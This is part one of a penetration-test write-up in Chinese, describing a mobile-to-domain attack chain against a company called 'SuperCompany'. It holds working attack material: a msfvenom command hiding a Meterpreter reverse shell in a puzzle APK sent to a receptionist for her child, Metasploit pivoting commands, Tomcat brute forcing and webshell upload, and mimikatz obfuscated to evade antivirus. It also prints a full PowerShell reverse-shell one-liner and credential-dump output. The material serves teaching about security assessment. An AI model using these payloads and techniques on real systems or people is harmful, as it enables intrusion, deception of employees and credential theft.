公司智慧手機安全(一)——從APK到Golden Ticket:初步探測,從一台Android智慧手機,獲取域管理員許可權,甚至更多...
本文介紹了在商業網路中使用個人智慧手機的潛在危險,在現實案例發生之後,這些案例被作為了典型。 事實證明,欺騙一名員工安裝惡意應用程式、繞過網路保護、訪問商業網路、提權並獲取保密資訊並不困難。
此外,事實證明瞭在不被發現的情況下繞過所有的防護機制(包括反病毒軟體)是可能的。 攻擊者可以通過使用一些系統自帶的工具和能夠公開訪問到的腳本來實現繞過,而不需要太過於依賴外部工具。
這就是我們常說的K.I.S.S策略(Keep It Simple Stupid)
下面的故事如與真實事件或真實人物有任何相似之處,純屬巧合。
背景
「超級公司」聘請了我們的滲透測試工程師對其員工進行社交工程學評估,測試的範圍是找到所有能竊取機密資料的方法,從而利用員工
在內部見面會期間,我們要求訪問訪客WiFi。 訪客WiFi受到專屬保護,因此需要登錄,憑證有效期僅為一天。
一旦連接上了WiFi,我們就開始從iPhone手機用Fing進行了一次快速掃描:結果我們發現了幾台Android設備——這顯然是超過了公司訪客的人數。 我們認為甚至公司職員也使用訪客WiFi。 也許可以節省他們寶貴的通話方案。 事實上,給我們登錄憑證的接待員在我們詢問如何訪問網路時,正在聊WhatsApp。
場景:桌子上有兩部電話,整潔的桌面,一家三口的照片。
在短暫的閒聊之後,我瞭解到了她女兒四歲了,非常活躍,但是只要有裝了遊戲的智慧手機就能平靜下來。 啊,現在的孩子們啊...
攻擊描述
社交工程學是從一次小型釣魚活動開始的,雖然慘遭失敗。 我們隨後發現公司職員在我們攻擊之前,都受到過相關訓練,對附件、下載等行為都有很強的警惕性,我們的開端並不好。
於是我們決定把精力集中在接待員身上,我們的目的是讓她為孩子下載Android應用,有什麼對孩子來說比拼圖更有意思呢,哈 我們喜歡拼圖啊。
找到接待員的email個人位址非常容易,我們準備了一封電子郵件,裡面有一個連結定位到下載頁面。 我們還在郵件里加了一個二維碼,只要像拍照一樣掃一下就能安裝了。
很可愛對吧!我們的目標很容易就會裝上惡意安卓應用,這個應用程式確實是一個拼圖遊戲,只是裡面藏了一個Meterpreter的shell
瞄準智慧手機
創建一款惡意安卓應用非常簡單,我們下載了一個普通應用,然後使用msfvenom來注入了payload,也就是meterpreter shell
msfvenom -x puzzle.apk -p android/meterpreter/reverse_tcp LHOST= LPORT=443 -o /var/www/html/puzzle.apk
使用443埠進行監聽的原因是,443和80埠都通常是被防火牆許可的標準埠
我們相信這款app能夠引起接待員足夠的興趣,並忽略掉安裝過程中的警告
在我們的主機上,也開啟了一個監聽程式:
msf>use exploit/multi/handler
msf exploit(handler) > set payload android/meterpreter/reverse_tcp
payload => android/meterpreter/reverse_tcp
msf exploit(handler) > set lhost
lhost =>
msf exploit(handler) > set lport 443
lport => 443
msf exploit(handler) > exploit -j -z
[*] Started reverse TCP handler on :443
為了利用公司職員會為了個人目的使用訪客WiFi這一點,我們還想再公司附近放一個天線
利用Meterpreter
大概早上8:00的時候,我在msfconsole上收到了消息:
[*] Meterpreter session 1 opened (:443 ->X.X.X.X:51990) at ...
Bingo!她安裝並運行了惡意安卓程式,我們現在獲得了一個Meterpreter會話
現在我們需要知道她是否連接到了公司的WiFi網路。 IP檢測結果表明它是從蜂窩網路連接的,她可能在去辦公室的路上,也許她女兒正在玩拼圖遊戲。
會話並沒有持續太久,幾分鐘後我們丟失了shell,但是在9:00前我們又收到了另一個Session:
[*] Meterpreter session 2 opened (:443 ->K.K.K.K:61545) at ...
這次IP是公司的,說明她連接到了公司的WiFi網路
於是我們開始進行了一些初步探查,除了幾台智慧手機,我們只在一個不同的子網下找到了一台DNS伺服器
meterpreter>ipconfig
.....
Interface 9
============
Name : wlan0 – wlan0
Hardware MAC : 20:6e:9c:75:94:ba
IPv4 Address : 10.118.1.13
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::226e:9cff:fe75:94ba
IPv6 Netmask : ::
.......
meterpreter > shell
Process 1 created. Channel 1 created.
getprop net.dns1
192.168.178.196
訪客WiFi網路在10.118.1.0/24上,而DNS伺服器位於另一個子網
為了訪問子網,我們配置了路由
exploit(handler) > route add 192.168.178.0 255.255.255.0 1
Nmap掃描不能執行,於是我們使用proxychains做了一次快速的ping掃描
msf auxiliary(socks4a) > use auxiliary/server/socks4a
msf auxiliary(socks4a) > show options
Module options (auxiliary/server/socks4a):
Name Current Setting Required Description
—- ————— ——– ———–
SRVHOST 0.0.0.0 yes The address to listen on
SRVPORT 1080 yes The port to listen on.
# Attacker proxychains nmap -sn 192.168.178.0/24 DNS network
Nmap scan report for 192.168.178.195
Host is up (0.15s latency).
Nmap scan report for 192.168.178.196
Host is up (0.22s latency).
主機對ping掃描都進行了回復
我們接著又進行了一次快速TCP掃描
msf exploit(handler) > use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > set RHOSTS 192.168.178.195,196
msf auxiliary(tcp) > set RPORTS 1-1024
msf auxiliary(tcp) > run
[*] 192.168.178.195: – 192.168.178.195:80 – TCP OPEN
[*] 192.168.178.195: – 192.168.178.195:8080 – TCP OPEN
[*] 192.168.178.196: – 192.168.178.196:53 – TCP OPEN
這是我們對當前網路環境結構的推測:
瞄準內網伺服器
主機192.168.178.195開放了80和8080埠,我們在本地轉發了埠,以便能夠在本地分析網路流量
meterpreter> portfwd add -L 127.0.0.1 -l 8001 -r 192.168.178.195 -p 80
meterpreter> portfwd add -L 127.0.0.1 -l 8002 -r 192.168.178.195 -p 8080
80埠暴露了公司的電話簿,我們現在仍然不知道他們為什麼在訪客網路上暴露這些資訊
快速掃描沒有發現明顯漏洞,於是我們決定檢查下8080埠
我們遇到了Apache Tomcat的基本驗證,使用Hydra進行爆破,幾分鐘後我們用admin/password123456登錄了系統
現在我們進入了Tomcat管理主控台,這應該是防火牆配置的錯誤,因為不論是Tomcat管理主控台還是公司的號碼簿,都不應該暴露在訪客網路
我們計畫在Tomcat上上傳一個shell,以便能與底層作業系統進行交互。 伺服器指紋表明,我們正在對付的,是一台Windows伺服器。
我們用Laudanum Injectable Web Exploit Code構造了war-archive,在管理頁面上傳了waf檔,其中包含了:
cmd.jsp:用於與cmd.exe進行交互
m.ps1:一個經過混淆和免殺的mimikatz.ps1,用於抓取密碼和散列
由於其靈活性,混淆powershell腳本很容易,有幾種著名的混淆技巧,我們只是改變了一些關鍵字,比如把Invoke-mimikatz改成Invoke-mymy什麼的,還有一些其他的小技巧可供參考。
我們還在檔末尾添加了Invoke-mymy -dumpcreds,以便功能被直接執行
上傳之後,我們就在瀏覽器訪問了cmd.jsp
哈!使用者是以SYSTEM許可權運行服務的,我們繼續進行資訊收集。 首先,來收集一下環境變數:
命令 cmd /c set
結果如下:
ALLUSERSPROFILE=C:\ProgramData
COMPUTERNAME=SRVINTRANET
USERDOMAIN=SUPERCOMPANY
USERNAME=SRVINTRANET$
現在我們獲取到了電腦名稱SRVINTRANET,與此同時,它屬於SUPERCOMPANY域,完美。
繼續使用systeminfo來檢索其他有用資訊:
命令:systeminfo
結果:
Host Name: SRVINTRANET
OS Name: Microsoft Windows Server 2012 R2 Standard
OS Version: 6.3.9600 N/A Build 9600
OS Manufacturer: Microsoft Corporation
OS Configuration: Member Server
OS Build Type: Multiprocessor Free
Registered Owner: Windows User
...
接下來是網域控制站
命令:cmd /c nltest /dclist:supercompany
結果:
Get a list of DCs in domain ‘supercompany’ from ‘\\SRVDC1′.
srvdc1.supercompany.local[PDC] [DS]Site: Default-First-Site-Name
srvdc2.supercompany.local [DS]Site: Default-First-Site-Name
The command completed successfully
這時候Android設備可能已經開始發熱了,我們需要轉移到一個更合適的shell上。 Android設備已經不再適合我們的工作了。
我們的黃金法則是:保持隱蔽和躲避殺毒軟體。 於是我們使用了基於PowerShell的shell,希望SRVINTRANET能夠訪問互聯網吧。
通過Tomcat上的webshell,我們裝好了Powershell後門,將會執行單向回連的命令,與此同時我們的公網伺服器用netcat監聽了80埠
cmd /c powershell -nop -c 「$c=New-Object Net.Sockets.TCPClient(‘’,80); $s=$c.GetStream(); [byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length))-ne 0){;$d=(New-Object -TypeName System.Text.ASCIIEncoding). GetString($b,0, $i);$sb=(IEX $data 2>&1| Out-String);$sb2=$sb+’PS ‘+(pwd). Path+’>’; $sb=([text.encoding]::ASCII). GetBytes($sb2);$s.Write($sb,0,$sb. Length);
$s.Flush()};$c.Close()」
這個腳本有什麼功能呢?它會在啟動PowerShell的時候執行以下命令:創建一個TCPClient物件,反向連接到我們的機器,打開一個I/O流,並使用InvokeExpression來執行輸入的內容
我們這次沒那麼幸運了,沒有收到反向shell。 這台伺服器可能不能連接到互聯網,於是我們又一次轉向了Tomcat的webshell,並且安裝了混淆過的mimikatz
cmd /c powershell -executionpolicy bypass -f c:\tomcat\webapps\cmd\warfiles\m.ps1
.#####. mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14
.## ^ ##. 「A La Vie, A L’Amour」
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
‘## v ##’ HTTP://blog.gentilkiwi.com/mimikatz (oe.eo)
‘#####’ with 20 modules * * */
mimikatz(powershell) # sekurlsa::logonpasswords
Authentication Id : 0 ; 191734 (00000000:0002ecf6)
Session : Interactive from 1
User Name : Administrator
Domain : SRVINTRANET
Logon Server : SRVINTRANET
Logon Time : 2/17/2017 2:12:31 PM
SID : S-1-5-21-938204560-2839928776-2225904511-500
msv :
[00010000] CredentialKeys
* NTLM : 604603ab105adc8XXXXXXXXXXXXXXXXX
* SHA1 : 7754ff505598bf3XXXXXXXXXXXXXXXXXXXXXXXXX
[00000003] Primary
* Username : Administrator
* Domain : SRVINTRANET
* NTLM : 604603ab105adc8XXXXXXXXXXXXXXXXX
* SHA1 : 7754ff505598bf3XXXXXXXXXXXXXXXXXXXXXXXXX
tspkg :
wdigest :
* Username : Administrator
* Domain : SRVINTRANET
* Password : (null)
kerberos :
* Username : Administrator
* Domain : SRVINTRANET
* Password : (null)
ssp : KO
credman :
mimikatz(powershell) # exit
Bye!
我們得到了本地管理員的密碼雜湊,但是沒有明文。 這是因為我們的目標伺服器是Windows Server 2012,而在2008以後,事情發生了變化,WDigest憑證就不再儲存明文了(不禁懷念過去的美好時光),此外credman是空的。 總之這次發現也不差吧。
我們決定找到一個能夠訪問互聯網的伺服器,因為我們現在依然在借助一個連接不穩定的安卓手機完成滲透工作。
通過net view命令,我們得到了可用的共用伺服器清單
Server Name Remark
————————————————-
\\SRVDC1 Domain controller PDC
\\SRVDC2 [4] Domain Controller
\\SRVWSUS Server WSUS
\\SRVAV Server AV
\\SRVFILE1 File Server
這就是真正的伺服器網路